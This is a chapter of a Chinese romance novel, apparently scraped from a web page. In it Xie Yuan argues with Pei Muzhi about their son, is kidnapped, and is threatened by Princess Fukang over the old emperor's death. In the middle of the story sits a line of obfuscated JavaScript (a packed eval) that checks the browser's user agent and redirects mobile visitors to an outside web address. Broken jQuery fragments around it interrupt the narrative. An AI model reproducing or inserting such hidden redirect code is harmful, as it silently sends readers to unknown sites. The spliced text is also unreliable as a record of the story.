“阿媛,对于孩子,你实在不应该太过宠溺,何况他还是男孩子,更不应该太过保护,这对他的成长并不有利。”
谢媛一听就怒了,这个从没生过孩子,也没养过孩子的人,居然对她教育孩子的方式指手画脚。
“他是我十月怀胎生下来的,这么多年下来,难道还不知道该怎样教孩子,你一个大男人难道比我还懂?你这是什意思,是说我慈母多败儿,你教过孩子吗?还要你来多嘴。”
裴牧之微怔,他没想到谢媛会这么生气,发这么大的火。他一面反省什么地方惹起对方怒火,一面道歉:“阿媛,别生气,我说错话了。”
他不知从哪里拿来一杯水,递给谢媛,谢媛一饮而尽,清凉的茶水浇灭了心中无明的火气,谢媛这才发现自己过于焦躁。
“对不起。”谢媛道歉。
“没事。”裴牧之笑道。
两人一时无言,谢媛把目光放在四周,这个马场的风景怡人,她假装看着风景,等待小决回来。
“阿媛,我陪你四处走走,这里景色不错。”
“不用。”谢媛拒绝。
裴牧之并不气馁,“阿媛,马上就要中午了,我让人去准备午膳,我们一起用餐,可以吗?”
“我不饿。”谢媛再次拒绝,“你和小决去吧,我还是先回去了。”
裴牧之脸上的笑容渐渐暗淡,“阿媛,我只想与你和小决,只有我们三人,一家三口,好好用一顿饭,这样也不行吗?”
“裴牧之,你真的只想要一顿饭的时光?只怕有了一次,便会有第二次,第三次……”谢媛索性把一切说开,“裴牧之,你是小决的亲生父亲,你随时都可以来看他,但是,对于我,你不用白费心机,没有用的。”
对于这个女人的不留余地,裴牧之问:“我真的一点机会都没有了吗?”
谢媛缓慢而坚定的说道:“裴牧之,你放弃吧。”
裴牧之眉心微蹙,他摇头,“阿媛,我为何要放弃?小决是我的孩子,我是他的亲生父亲。还有那日,在赛神医家中……你脸红了,我以为你对我即便不像以前那样,但也并非全然无情。”
谢媛脑中迅速浮现出那个黄昏,凌乱的厨房中,那个间接的吻,她用力打散这个回忆,语气悍然,“裴牧之,别说了,我对你什么都没有。”
“真的吗?”
“没错。”
叮铃铃,叮铃铃,马车上的风铃响在空旷的田野上,谢媛独坐在车中,头靠窗户,神不守舍。
她与裴牧之不欢而散,两个人的心情都不好,但两人又都十分有默契,不愿把恶劣的情绪表现在孩子面前,故而谢媛决定先行回去。
裴牧之冷着脸,安排好马车,吩咐待从小心护送,保障安全。
即使话说到这个份上,这个男人对她依旧仔细周到,这让谢媛越发烦闷,她宁愿他对她无情一些。
一声马的嘶鸣响彻天空,马车骤然停下,惯性作用下,谢媛的身子向前倾,差点跌倒,她掀开车帘一角,看见马车前面立着一排蒙面人。
谢媛心中咯噔一下,顿觉不妙。
驾驭马车的待卫亦有同感,他大声呵斥,“你们是什么人,大白天鬼鬼祟祟,连晋王府的车驾也敢拦?”
“车人所坐之人可是谢媛。”为首的黑衣人说道:“我家主人有请。”
“你家主人是谁?”在车中的谢媛问道。
“姑娘去了,自然知道。”
谢媛抓住车帘,“我若不去,你们是不是要强迫我去?”
“姑娘知道就好。”
谢媛乘坐的这辆车除了她外,只有两名护卫,裴牧之当时要给她增派人手,谢媛死活不同意,一来不想太张扬,二来不想欠裴牧之人情。
实则这是自欺欺人,这辆马车连同车上所有的物品、人员配置都是属于裴牧之的,人多人少并不区别,现在反而因为人太少了,遇到危险,陷于被动。
对方来者不善,这边一共只有三个人,敌众我寡,谢媛心中衡量一番,便道:“那好吧,我去。”
黑衣首领没想到谢媛这么识时务,微微一愣,但很快便说:“那就请谢姑娘下车。”
待卫拦下谢媛,“谢娘子,不能过去,他们来意不善。”
“我当然知道。”谢媛说:“只是我们人少,打不过。”
“属下决不会辜负晋王殿下,誓死保护谢娘子。”
谢媛正色道:“千万别这样,不要硬拼,你们要是折在这里,谁给殿下报信?”
谢媛好言相劝,让他们忍耐,自己则走下车,来到黑衣人面前,“走吧。”
可惜这群黑衣人不讲道义,谢媛过去后,首领便下令要杀另外两人,谢媛一惊,挣扎中被人打昏了。
谢媛不知自己昏迷了多久,她隐约感觉有一双眼睛正死死盯着她,让她很不自在,她努力想要挣开闭合的眼皮,从黑暗中挣脱出来,但似乎被恶梦魇住,始终动弹不得。
一根细腻冰凉的手指滑过她的脸颊,谢媛一激灵,猛然睁开双眼,映入眼帘的是一个谢媛怎么也想不到的人物。
“福康公主,你要干什么?”谢媛挥手打掉司马薇的手,迅速起身,神情戒备。
“放心,我不会毁你容貌的,左看右看,你长得都没有我美,唉,我实在不理解,裴牧之到底喜欢你什么。”
谢媛简直不知道该怎么回答才好。她看了看四周,这是一间颇为狭小的房间,只摆着一张床及几张桌椅,房门与窗户紧闭,根本不知道身处在何地,屋内只有她与福康公主二人。
谢媛在犹豫,要不要找个机会打昏司马薇,然后直接逃跑,只是不知外面有没有守卫?想到此处,谢媛不敢轻举妄动。
“公主,你有话直说,抓我到底是为什么?”
福康笑颜如花,“谢媛,你弄错了,不是我抓的你哦。”
她做了一个淘气的动作,带着一种孩子般的天真,不了解她的人,很容易被这张面孔欺骗,但经历过她手段的人,都知道这张绝色的容颜下藏着一颗任性狠毒的心。
谢媛心一沉,“是谁?”
福康没有回答,她仍是笑盈盈的,只是接下来出口的话语让谢媛心惊肉跳。
“谢媛,你知道我父皇是怎么死的吗?”
这句话像一道闪电,又如雷鸣般,让谢媛胆颤心惊,那是她一直埋在心中的秘密,从来不敢说出来,即使贺兰仪,她也从未透露半字。
“公主,先帝死于刺杀,当时在场的人都看见了。”谢媛脸色发白,“后来不是察明真相,是宁国护国大将军周舒望所为的吗?”
周舒望是宁国三朝老臣,手握兵权,镇守在两国边境,当年,裴氏兄弟攻入宁国,久克不胜,这位老将军居功至伟,对于宁国而言,周舒望是守卫边疆、保家卫国的英雄,对于魏国而言,他是阻拦魏国统一南北的绊脚石。
魏国先一任皇帝受人行刺身亡,一国之君,这样的死法并不光彩,皇室不想让人知道,对外宣称是得了急症而亡。
暗中则积极调察这群刺客的来龙去脉,查来查去,线索却指向宁国周舒望。
宁国的皇帝得知后,一来不愿魏国以此为借口攻打宁国,二来他与周舒望早有嫌隙,登位后担忧周舒望手握兵权,自己年轻刚执政,镇不住这位老将军,逮住这样一个机会,也不详查真相,迅速解除周舒望兵权,将其斩首,并把他的首级送回魏国。
一代老将,未能战死沙场,反倒死于权利倾扎,阴谋诡计之中,实在可悲可叹。
谢媛猜测,宁国的皇帝不想周舒望这位老将军活着,那么,给宁国皇帝的借口是不是裴牧之制造的呢?
谢媛不敢想,每每想到这里,她便不寒而栗。
周舒望这个名字却激发了司马薇极大的愤怒,她大喊:“这种鬼话,也就是骗骗你们这些无知愚民。是裴牧之,我知道是他,是他杀了我父皇,我要将他碎尸万断。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346696|148381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
司马薇面目狰狞,咬牙切齿。
谢媛战战兢兢,“你说裴牧之杀了先帝,公主是否找到了证据?”
这个问题立马让司马薇恢复了冷静,她道:“自然是没有。”
谢媛一听,不知为何,心中却有一块大石落下。
司马薇看到谢媛神情的变化,嘲讽道:“怎么,你在担心裴牧之。女人的心真是善变,那时你不惜一切要逃离他,回到未婚夫身边,这才过了多久?你的心就属意裴牧之了,见异思迁的速度可真快呀。”
谢媛蹙额不语。
“说来说去,还是裴牧之好手段。”司马薇皮笑肉不笑,“看来传来的消息没有出错,裴牧之因为你,不仅亲上清风寨,为了救你,更是不惜身陷重围。”
谢媛心惊,远在益州的事,这位公主如何知道,就像她亲眼见到一般。
“你监视他?”谢媛只想到这么一个可能,“你在他身边安插有暗线。”
而且这个人一定是裴牧之身边比较亲近的人,否则怎么会对他的事如此了解。
“不是我。”福康再次否认,“我没有那样的闲情逸致去监视他。”
谢媛的心愈发沉重,她感到一个巨大的阴谋,并非针对她,而是针对裴牧之。
“你们想干什么?”
“干什么?”福康大笑,“当然是让他付出代价,裴牧之杀害先帝、擅自拥立一个傀儡皇帝,独断朝纲,桩桩件件,皆是大逆不道之事,总要有人出来拔乱反正的,谢媛,你说对不对?”
“不过是争权夺利而己,别说得那么好听。”谢媛神情厌恶,“如果你恨裴牧之杀了你父亲,完全可以把这件事告诉当今陛下,你的弟弟,而非与别人合谋,暗中对付裴牧之。”
“哼,别跟我提司马义,他不过是裴家的提线木偶,一心只向着裴家。”
她不过讲了几句裴牧之,便被禁止出入宫闱,她的好弟弟一句话也不多说,大魏皇宫是她的家,她是公主,居然沦落到不能自由出入宫闱,这让福康公主挌外备觉受侮。
“所以,你们抓我是为了对付裴牧之。”
司马薇轻轻击掌,“你总算想明白了。”
谢媛抿唇不语。
“谢媛,不要怪我们,要怪就怪裴牧之,谁让他喜欢你呢,你是他的弱点,那就只好用你来引出他了。”
谢媛面无表情,“你们就那么肯定能成功,如果他根本就不为所动呢?”
“是吗?那你就没用了,而没用的人,结果会如何,不用我多说了吧,你不如祈祷裴牧之爱你入狂,为了你,什么傻事都甘愿,否则……”福康慢悠悠道:“你打了我那一巴掌,我还一直没有向你讨还呢,如果裴牧之不管你,我就把你的肉一块块割下来送给他。”
谢媛的面色一阵青一阵白,司马薇简直就是一个魔鬼。
“阿薇,你玩够了吧,快出来。”屋外响起一个年轻男子的声音,他似乎就站在门口。
“好吧。”司马薇懒懒地应着,她向外走去,门打开一道缝,男子背对着谢媛,身形颀长,背影和声音都是陌生的,谢媛认不出他是谁。
门关上了,谢媛看不见他们了,但她听到了福康懒洋洋的抱怨,“哥哥,不过是说几句,你也太小心了。”
她的嘴角含着蜜一样的微笑,她知道身边的男人野心勃勃,他想干什么,司马薇心中有数,可这与她有什么关系呢,只要不是裴牧之得势,只要她还是公主,别人天翻地覆都与她无关。
男子低声说了些什么,谢媛没有听清,她最后只听到司马薇愉悦的笑声,断断续续,乃至消失。
谢媛心间微颤,福康叫他哥哥,那他也是皇室中人,是谁呢?谢媛想不出,她一向不关心这些事,只知道先帝活下来的有六个儿子,最小的陈留王当了皇帝,其余几人,谢媛一点印象也没有。
裴牧之,福康,还有那个不知名的皇帝子孙,谢媛只觉得头疼欲裂,心跳加速。